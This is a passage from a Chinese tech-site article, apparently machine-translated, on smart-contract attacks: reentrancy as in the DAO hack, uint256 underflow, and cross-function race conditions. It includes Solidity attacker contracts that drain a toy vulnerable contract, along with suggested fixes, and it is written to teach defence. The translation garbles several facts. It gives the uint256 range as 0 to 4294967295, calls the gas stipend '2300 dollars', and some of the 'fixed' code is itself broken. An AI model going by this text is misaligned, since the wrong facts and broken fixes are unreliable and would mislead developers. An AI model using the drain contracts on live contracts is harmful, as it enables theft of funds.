當(dāng)前位置:首頁 > 物聯(lián)網(wǎng) > 區(qū)塊鏈
[導(dǎo)讀] 如果你一直在跟蹤區(qū)塊鏈技術(shù),你可能聽說過一兩次智能合約攻擊,這些攻擊導(dǎo)致了價值數(shù)千萬美元的加密貨幣資產(chǎn)被盜。最引人注目的攻擊仍然是分散自治組織(DAO),它是加密貨幣史上最受期待的項(xiàng)目之一,也是

如果你一直在跟蹤區(qū)塊鏈技術(shù),你可能聽說過一兩次智能合約攻擊,這些攻擊導(dǎo)致了價值數(shù)千萬美元的加密貨幣資產(chǎn)被盜。最引人注目的攻擊仍然是分散自治組織(DAO),它是加密貨幣史上最受期待的項(xiàng)目之一,也是智能合約革命能力的典型代表。雖然大多數(shù)人都聽說過這些攻擊事件,但很少有人真正了解到底出了什么問題,以及如何避免再犯兩次同樣的錯誤。

智能合約是動態(tài)的、復(fù)雜的、而且它強(qiáng)大到讓人難以置信。雖然它們的潛力是不可想象的,但它也不可能一出現(xiàn)就具備防范攻擊體制。這就是說,我們都應(yīng)從以前的錯誤中學(xué)習(xí),并共同成長。

盡管DAO已經(jīng)成為過去,但它仍然是開發(fā)人員、投資者和社區(qū)成員應(yīng)該熟悉的容易受到智能合約攻擊的一個很好的例子。

無論您是開發(fā)人員、投資者還是加密貨幣愛好者,了解這些攻擊將使您對這項(xiàng)有前途的技術(shù)有更深的了解。

攻擊#1:重入

當(dāng)攻擊者通過遞歸調(diào)用目標(biāo)的退出函功能從目標(biāo)中抽走資金時,就會發(fā)生重發(fā)式攻擊,DAO就是這種情況。當(dāng)合約在發(fā)送資金前未能更新其狀態(tài)(用戶余額)時,攻擊者可以連續(xù)調(diào)用撤回功能來耗盡合約的資金。只要攻擊者接收到以太幣,攻擊者的合約就會自動調(diào)用它的撤回功能,該功能將會被寫入以再次調(diào)用撤回的算法中。此時攻擊已經(jīng)進(jìn)入遞歸循環(huán),合約的資金開始向攻擊方轉(zhuǎn)移。由于目標(biāo)合約被阻止調(diào)用攻擊者的撤回功能,該合約永遠(yuǎn)不能更新攻擊者的數(shù)據(jù)。目標(biāo)合約被騙得以為一切正常。需要說明的是,撤回功能是合約的本質(zhì)性功能,只要合約接收到以太幣和其他數(shù)據(jù),合約就會自動執(zhí)行它。

此次攻擊的流程

1、攻擊者向目標(biāo)合約捐贈以太幣

2、目標(biāo)合約更新攻擊者捐贈以太幣的余額

3、攻擊者要求返還資金

4、資金匯回

5、攻擊者的撤回功能是觸發(fā)器,并要求隨后退出

6、智能合約更新攻擊者平衡的邏輯尚未執(zhí)行,因此再次成功調(diào)用撤回

7、資金被發(fā)送到攻擊者

8、重復(fù)步驟5–7

9.一旦攻擊結(jié)束,攻擊者就會把合約上的資金送到他們的個人地址上去。

可重入攻擊的遞歸循環(huán)

不幸的是,一旦攻擊開始,就沒有辦法阻止它。攻擊者的撤回功能將被反復(fù)調(diào)用,直到合約用完或者受害者的以太幣被耗盡。

下面的代碼是易受影響的DAO合同的簡化版本,其中包含評論以更好地理解那些不熟悉編程/可靠性的合同。

contract babyDAO {

/* assign key/value pair so we can look up

credit integers with an ETH address */

mapping (address =》 uint256) public credit;

/* a function for funds to be added to the contract,

sender will be credited amount sent */

funcTIon donate(address to) payable {

credit[msg.sender] += msg.value;

}

/*show ether credited to address*/

funcTIon assignedCredit(address) returns (uint) {

return credit[msg.sender];

}

/*withdrawal ether from contract*/

funcTIon withdraw(uint amount) {

if (credit[msg.sender] 》= amount) {

msg.sender.call.value(amount)();

credit[msg.sender] -= amount;

}

}

}

如果我們看一下這個功能被提取,我們可以看到DAO聯(lián)系人使用address.call.value向msg.sender發(fā)送資金。不僅如此,合約還更新了資金發(fā)出后的信用狀態(tài)[msg.sender]。兩者都是大禁忌。認(rèn)識到合約代碼中的這些漏洞,攻擊者可以使用類似合同的契約ThisAHodlUp{}來清算所有的合約DADO基金。

import ‘browser/babyDAO.sol’;

contract ThisIsAHodlUp {

/* assign babyDAO contract as “dao” */

babyDAO public dao = babyDAO(0x2ae.。.);

address owner;

/*assign contract creator as owner*/

constructor(ThisIsAHodlUp) public {

owner = msg.sender;

}

/*fallback funcTIon, withdraws funds from babyDAO*/

function() public {

dao.withdraw(dao.assignedCredit(this));

}

/*send drained funds to attacker’s address*/

function drainFunds() payable public{

owner.transfer(address(this).balance);

}

}

注意,撤回這一功能,調(diào)用的是DAO的撤銷功能,或合約的babyDAO{},以此來從合約中竊取資金。另一方面,在攻擊結(jié)束時,如果攻擊者想將所有被盜的以太幣發(fā)送到其地址,則會調(diào)用撤回功能。

解決之道

到目前為止,可以清楚地看到,重入攻擊利用了兩種特殊的智能合約漏洞。第一種是當(dāng)合約的狀態(tài)在資金發(fā)送之后而不是之前更新。由于在發(fā)送資金之前沒有更新合同狀態(tài),功能可能在計算過程中被中斷,合約會被誘使認(rèn)為資金還沒有實(shí)際發(fā)出。第二個漏洞是當(dāng)合約錯誤地使用address.call.value來發(fā)送資金,而不是安全的錢包地址。transfer或address.send兩者都被限制在需要支付2300美元的津貼,但是僅僅記錄一個事件而不是多個外部調(diào)用。

發(fā)送資金前更新合約余額發(fā)送資金時使用address.transfer()或address.send()

contract babyDAO{

。..。

function withdraw(uint amount) {

if (credit[msg.sender] 》= amount) {

credit[msg.sender] -= amount; /* updates balance first */

msg.sender.send(amount)(); /* send funds properly */

}

}

攻擊2:Underflow

盡管DAO合約沒有成為底層流攻擊的受害者,我們可以利用現(xiàn)有的babyDAO合約{}來更好地理解是如何發(fā)生常見攻擊的。

首先,讓我們確認(rèn)一下uint256是什么。Auint256是一個256位的無符號整數(shù)(因?yàn)橹挥姓麛?shù))。Ethereum Virtual Machine設(shè)計為使用256位作為其字大小,或者一次性使用計算機(jī)的CPU處理的位數(shù)。由于EVM的大小限制為256位,分配的數(shù)字范圍為0到4294967295(22??)。如果我們看一下這個范圍,這個數(shù)字被重置到范圍的底部(22??+1=0)。如果我們進(jìn)入這個范圍,這個數(shù)字被重置到范圍的頂端(0–1=22??)。

當(dāng)我們從零減去一個大于零的數(shù)字時,就會產(chǎn)生一個新的整數(shù)22???,F(xiàn)在,如果攻擊者的平衡經(jīng)驗(yàn)不足,余額將被更新,以便所有的資金都可能被盜。

此次攻擊流程

1、攻擊者通過向目標(biāo)合約發(fā)送1 Wei發(fā)起攻擊

2、根據(jù)合約,寄件人應(yīng)將款項(xiàng)匯入

3、隨后同一1 Wei的稱為

4、合約從寄件人的信用證中減去1 Wei,現(xiàn)在余額為零

5、因?yàn)槟繕?biāo)合約將以太幣發(fā)送到攻擊者,所以攻擊者的撤回功能也將觸發(fā)并再次調(diào)用退出

6.退場記1 Wei

7.攻擊者的合約余額已經(jīng)更新了兩次,第一次更新為零,第二次更新為-1

8.攻擊者的平衡被重置為22??

9.攻擊者通過提取目標(biāo)合同中的所有資金完成了攻擊

代碼

import ‘browser/babyDAO’;

contract UnderflowAttack {

babyDAO public dao = babyDAO(0x2ae…);

address owner;

bool performAttack = true;

/*set contract creator as owner*/

function UnderflowAttack{ owner = msg.sender;}

/*donate 1 wei, withdraw 1 wei*/

function attack() {

dao.donate.value(1)(this);

dao.withdraw(1);

}

/*fallback function, results in 0–1 = 2**256 */

function() {

if (performAttack) {

performAttack = false;

dao.withdraw(1);

}

}

/*extract balance from smart contract*/

function getJackpot() {

dao.withdraw(dao.balance);

owner.send(this.balance);

}

}

解決之道

為了避免成為下溢攻擊的受害者,最佳實(shí)踐是檢查更新后的整數(shù)是否保持在其字節(jié)范圍內(nèi)。我們可以在代碼中添加一個參數(shù)檢查,作為最后一道防線。該功取款第一行是提取檢查是否有足夠的資金,第二行檢查是否溢出,第三行檢查是否有下溢。

contract babysDAO{

。..。

/*withdrawal ether from contract*/

function withdraw(uint amount) {

if (credit[msg.sender] 》= amount

&& credit[msg.sender] + amount 》= credit[msg.sender]

&& credit[msg.sender] - amount 《= credit[msg.sender]) {

credit[msg.sender] -= amount;

msg.sender.send(amount)();

}

}

請注意,我們的上述代碼也會在發(fā)送資金之前更新用戶的余額,如前所述。

攻擊3:跨功能競態(tài)條件的攻擊

同樣重要的是,跨功能競態(tài)條件攻擊。正如我們在Reentrancy攻擊中所討論的,DAO合約未能正確地更新內(nèi)部合約狀態(tài),因此導(dǎo)致資金被盜。部分DAO和一般的外部調(diào)用問題是由于其跨功能競態(tài)條件所產(chǎn)生的。

而以太坊中的所有事務(wù)都是串聯(lián)運(yùn)行的(一個接一個地運(yùn)行),因此使用外部調(diào)用對另一份合約或另一個地址來說,一旦管理不當(dāng),就會災(zāi)害連連。當(dāng)兩個功能調(diào)用并共享同一狀態(tài)時,將發(fā)生跨功能競爭情況。該合約就會騙的消費(fèi)者認(rèn)為存在的是兩個合約,而實(shí)際上只有一個合約。因此,在這個合約的功能函數(shù)中,我們不能同時得到X=3和X=4。

讓我們用一個例子來說明這個概念。

攻擊與守則

contract crossFunctionRace{

mapping (address =》 uint) private userBalances;

/* uses userBalances to transfer funds */

function transfer(address to, uint amount) {

if (userBalances[msg.sender] 》= amount) {

userBalances[to] += amount;

userBalances[msg.sender] -= amount;

}

}

/* uses userBalances to withdraw funds */

function withdrawalBalance() public {

uint amountToWithdraw = userBalances[msg.sender];

require(msg.sender.send(amountToWithdraw)());

userBalances[msg.sender] = 0;

}

}

上述合約有兩個職能——一個負(fù)責(zé)轉(zhuǎn)移資金,另一個負(fù)責(zé)提取資金。讓我們假定攻擊者撤回功能傳輸(),同時進(jìn)行外部撤回功能的退出Balance()。使用Balance[msg.sender]的狀態(tài)將被拉向兩個不同的方向。用戶的余額還沒有設(shè)置為0,但是攻擊者也能夠轉(zhuǎn)移資金,盡管它們已經(jīng)被撤回。在這種情況下合同允許攻擊者花費(fèi),區(qū)塊鏈技術(shù)的目的就是要解決其中的一個問題。

注意:如果這些合同共享狀態(tài),則跨多個合同可能會發(fā)生跨職能競爭條件。

1.在調(diào)用外部函數(shù)之前,首先完成所有內(nèi)部工作

2.避免打外線電話

3.在不可避免的情況下,將外部撤回功能標(biāo)記為“不可信”

4.在不可避免的外部撤回時使用互斥體

根據(jù)下面的合約,我們可以看到一個合約的例子,1)。在打外部電話之前進(jìn)行內(nèi)部工作、2),將所有外部調(diào)用函數(shù)標(biāo)記為“不可信”。我們的合約允許資金被發(fā)送到一個地址,并允許用戶一次性獎勵最初將資金存入合約中的人。

contract crossFunctionRace{

mapping (address =》 uint) private userBalances;

mapping (address =》 uint) private reward;

mapping (address =》 bool) private claimedReward;

//makes external call, need to mark as untrusted

function untrustedWithdraw(address recipient) public {

uint amountWithdraw = userBalances[recipient];

reward[recipient] = 0;

require(recipient.call.value(amountWithdraw)());

}

//untrusted because withdraw is called, an external call

function untrustedGetReward(address recipient) public {

//check that reward hasn’t already been claimed

require(!claimedReward[recipient]);

//internal work first (claimedReward and assigning reward)

claimedReward = true;

reward[recipient] += 100;

untrustedWithdraw(recipient);

}

}

正如我們可以看到的,合約的第一個功能是在向用戶的合約地址發(fā)送資金時進(jìn)行外部調(diào)用的。類似地,獎勵功能也使用撤回功能來發(fā)送一次性獎勵,因此也是不可信的。同樣重要的是,合約首先執(zhí)行所有內(nèi)部工作。與我們的可重入攻擊示例一樣,功能GetReward在允許退出以防止跨功能爭用的情況發(fā)生之前,授予用戶一次獎勵的信用。

在一個完美的世界里,智能合約不需要依靠外部調(diào)用。事實(shí)是,在許多情況下,外部聯(lián)通幾乎不可能發(fā)揮作用。因此,使用互斥體來“定”某個狀態(tài),并只授予所有者更改狀態(tài)的能力,可以幫助避免代價高昂的災(zāi)難。盡管互斥非常有效,但在用于多個合約時,它們可能會變得很棘手。如果您使用互斥體來保護(hù)不受各種條件的影響,那么您需要仔細(xì)確保沒有其他方法可以聲明鎖定,并且永遠(yuǎn)不會被釋放。如果使用互斥方式,請確保您在與他們簽訂合約時已經(jīng)徹底了解了潛在的危險(死鎖、活鎖等)。

contract mutexExample{

mapping (address =》 uint) private balances;

bool private lockBalances;

function deposit() payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/

require(!lockBalances);

/*lock, execute, unlock */

lockBalances = true;

balances[msg.sender] += msg.value;

lockBalances = false;

return true;

}

function withdraw(uint amount) payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/

require(!lockBalances && amount 》 0 && balances[msg.sender]

》= amount);

/*lock, execute, unlock*/

lockBalances = true;

if (msg.sender.call(amount)()) {

balances[msg.sender] -= amount;

}

lockBalances = false;

return true;

}

}

上面我們可以看到合約mutexExample具有執(zhí)行功能存款和功能提取的私有鎖狀態(tài)。該鎖將阻止用戶在第一次調(diào)用完成之前成功地調(diào)用撤銷,從而防止出現(xiàn)任何類型的跨功能爭用狀態(tài)。

強(qiáng)大的力量同時帶來巨大的責(zé)任。盡管區(qū)塊鏈和智能合合約術(shù)仍在不斷發(fā)展,但風(fēng)險仍然很高。攻擊者還沒有放棄尋找合適的機(jī)會,抓住設(shè)計糟糕的合約。

本站聲明: 本文章由作者或相關(guān)機(jī)構(gòu)授權(quán)發(fā)布,目的在于傳遞更多信息,并不代表本站贊同其觀點(diǎn),本站亦不保證或承諾內(nèi)容真實(shí)性等。需要轉(zhuǎn)載請聯(lián)系該專欄作者,如若文章內(nèi)容侵犯您的權(quán)益,請及時聯(lián)系本站刪除。
換一批
延伸閱讀

9月2日消息,不造車的華為或?qū)⒋呱龈蟮莫?dú)角獸公司,隨著阿維塔和賽力斯的入局,華為引望愈發(fā)顯得引人矚目。

關(guān)鍵字: 阿維塔 塞力斯 華為

加利福尼亞州圣克拉拉縣2024年8月30日 /美通社/ -- 數(shù)字化轉(zhuǎn)型技術(shù)解決方案公司Trianz今天宣布,該公司與Amazon Web Services (AWS)簽訂了...

關(guān)鍵字: AWS AN BSP 數(shù)字化

倫敦2024年8月29日 /美通社/ -- 英國汽車技術(shù)公司SODA.Auto推出其旗艦產(chǎn)品SODA V,這是全球首款涵蓋汽車工程師從創(chuàng)意到認(rèn)證的所有需求的工具,可用于創(chuàng)建軟件定義汽車。 SODA V工具的開發(fā)耗時1.5...

關(guān)鍵字: 汽車 人工智能 智能驅(qū)動 BSP

北京2024年8月28日 /美通社/ -- 越來越多用戶希望企業(yè)業(yè)務(wù)能7×24不間斷運(yùn)行,同時企業(yè)卻面臨越來越多業(yè)務(wù)中斷的風(fēng)險,如企業(yè)系統(tǒng)復(fù)雜性的增加,頻繁的功能更新和發(fā)布等。如何確保業(yè)務(wù)連續(xù)性,提升韌性,成...

關(guān)鍵字: 亞馬遜 解密 控制平面 BSP

8月30日消息,據(jù)媒體報道,騰訊和網(wǎng)易近期正在縮減他們對日本游戲市場的投資。

關(guān)鍵字: 騰訊 編碼器 CPU

8月28日消息,今天上午,2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會開幕式在貴陽舉行,華為董事、質(zhì)量流程IT總裁陶景文發(fā)表了演講。

關(guān)鍵字: 華為 12nm EDA 半導(dǎo)體

8月28日消息,在2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會上,華為常務(wù)董事、華為云CEO張平安發(fā)表演講稱,數(shù)字世界的話語權(quán)最終是由生態(tài)的繁榮決定的。

關(guān)鍵字: 華為 12nm 手機(jī) 衛(wèi)星通信

要點(diǎn): 有效應(yīng)對環(huán)境變化,經(jīng)營業(yè)績穩(wěn)中有升 落實(shí)提質(zhì)增效舉措,毛利潤率延續(xù)升勢 戰(zhàn)略布局成效顯著,戰(zhàn)新業(yè)務(wù)引領(lǐng)增長 以科技創(chuàng)新為引領(lǐng),提升企業(yè)核心競爭力 堅持高質(zhì)量發(fā)展策略,塑強(qiáng)核心競爭優(yōu)勢...

關(guān)鍵字: 通信 BSP 電信運(yùn)營商 數(shù)字經(jīng)濟(jì)

北京2024年8月27日 /美通社/ -- 8月21日,由中央廣播電視總臺與中國電影電視技術(shù)學(xué)會聯(lián)合牽頭組建的NVI技術(shù)創(chuàng)新聯(lián)盟在BIRTV2024超高清全產(chǎn)業(yè)鏈發(fā)展研討會上宣布正式成立。 活動現(xiàn)場 NVI技術(shù)創(chuàng)新聯(lián)...

關(guān)鍵字: VI 傳輸協(xié)議 音頻 BSP

北京2024年8月27日 /美通社/ -- 在8月23日舉辦的2024年長三角生態(tài)綠色一體化發(fā)展示范區(qū)聯(lián)合招商會上,軟通動力信息技術(shù)(集團(tuán))股份有限公司(以下簡稱"軟通動力")與長三角投資(上海)有限...

關(guān)鍵字: BSP 信息技術(shù)
關(guān)閉
關(guān)閉